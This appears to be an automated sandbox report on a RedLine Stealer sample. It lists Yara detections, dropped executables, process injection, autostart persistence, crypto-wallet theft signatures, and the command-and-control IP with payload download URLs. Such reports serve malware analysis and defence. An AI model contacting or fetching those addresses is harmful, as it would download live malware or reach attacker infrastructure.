Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 5752, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED

Remote Access Functionality
barindex
Yara detected RedLine Stealer
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.3fa9550.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.build.exe.650000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.tmp40CA.tmp.exe.3fa9550.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.2128828596.0000000000652000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2210739147.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: tmp40CA.tmp.exe PID: 1892, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: build.exe PID: 6300, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\build.exe, type: DROPPED
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1535521 Sample: rthh9q2PDv.exe Startdate: 17/10/2024 Architecture: WINDOWS Score: 100 100 Suricata IDS alerts for network traffic 2->100 102 Found malware configuration 2->102 104 Malicious sample detected (through community Yara rule) 2->104 106 13 other signatures 2->106 9 rthh9q2PDv.exe 15 6 2->9         started        13 Adobe_Install_Updater.exe 2->13         started        16 Adobe_Install_Updater.exe 2->16         started        18 2 other processes 2->18 process3 dnsIp4 98 87.120.127.223, 42128, 49704, 49705 UNACS-AS-BG8000BurgasBG Bulgaria 9->98 92 C:\Users\user\AppData\...\tmp40CA.tmp.exe, PE32 9->92 dropped 94 C:\Users\user\AppData\...\rthh9q2PDv.exe.log, CSV 9->94 dropped 20 tmp40CA.tmp.exe 15 5 9->20         started        132 Multi AV Scanner detection for dropped file 13->132 134 Machine Learning detection for dropped file 13->134 136 Writes to foreign memory regions 13->136 24 InstallUtil.exe 13->24         started        26 cmd.exe 13->26         started        28 cmd.exe 13->28         started        138 Allocates memory in foreign processes 16->138 140 Injects a PE file into a foreign processes 16->140 30 InstallUtil.exe 16->30         started        32 cmd.exe 16->32         started        34 cmd.exe 16->34         started        36 cmd.exe 18->36         started        38 5 other processes 18->38 file5 signatures6 process7 file8 86 C:\Users\user\...\Adobe_Install_Updater.exe, PE32 20->86 dropped 88 C:\Users\user\AppData\Local\Temp\build.exe, PE32 20->88 dropped 108 Multi AV Scanner detection for dropped file 20->108 110 Machine Learning detection for dropped file 20->110 112 Found many strings related to Crypto-Wallets (likely being stolen) 20->112 116 3 other signatures 20->116 40 4 other processes 20->40 90 C:\Users\user\AppData\...\Plain_Checker.exe, PE32 24->90 dropped 114 Injects a PE file into a foreign processes 24->114 43 4 other processes 24->43 46 2 other processes 26->46 48 2 other processes 28->48 50 3 other processes 30->50 52 2 other processes 32->52 54 2 other processes 34->54 56 2 other processes 36->56 58 6 other processes 38->58 signatures9 process10 file11 118 Antivirus detection for dropped file 40->118 120 Uses ipconfig to lookup or modify the Windows network settings 40->120 60 conhost.exe 40->60         started        62 conhost.exe 40->62         started        64 ipconfig.exe 1 40->64         started        72 2 other processes 40->72 96 C:\Users\user\AppData\Roaming\Yftssfzf.exe, PE32 43->96 dropped 122 Multi AV Scanner detection for dropped file 43->122 124 Machine Learning detection for dropped file 43->124 126 Creates multiple autostart registry keys 43->126 130 2 other signatures 43->130 66 cmd.exe 43->66         started        68 cmd.exe 43->68         started        70 conhost.exe 43->70         started        74 4 other processes 43->74 128 Found many strings related to Crypto-Wallets (likely being stolen) 50->128 76 4 other processes 50->76 signatures12 process13 process14 78 conhost.exe 66->78         started        80 ipconfig.exe 66->80         started        82 conhost.exe 68->82         started        84 ipconfig.exe 68->84         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
87.120.127.223
 unknown Bulgaria
25206 UNACS-AS-BG8000BurgasBG true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://87.120.127.223/panel/uploads/Afocvkc.dat true
    		unknown
    http://87.120.127.223:42128/ true
      		unknown
      http://87.120.127.223/CheckX-Cracked-VIP.exe true
        		unknown
        http://87.120.127.223/panel/uploads/Fdzqloat.dat true
          		unknown
          http://87.120.127.223/panel/uploads/Mexuazc.pdf true
            		unknown
            87.120.127.223:42128 true
              		unknown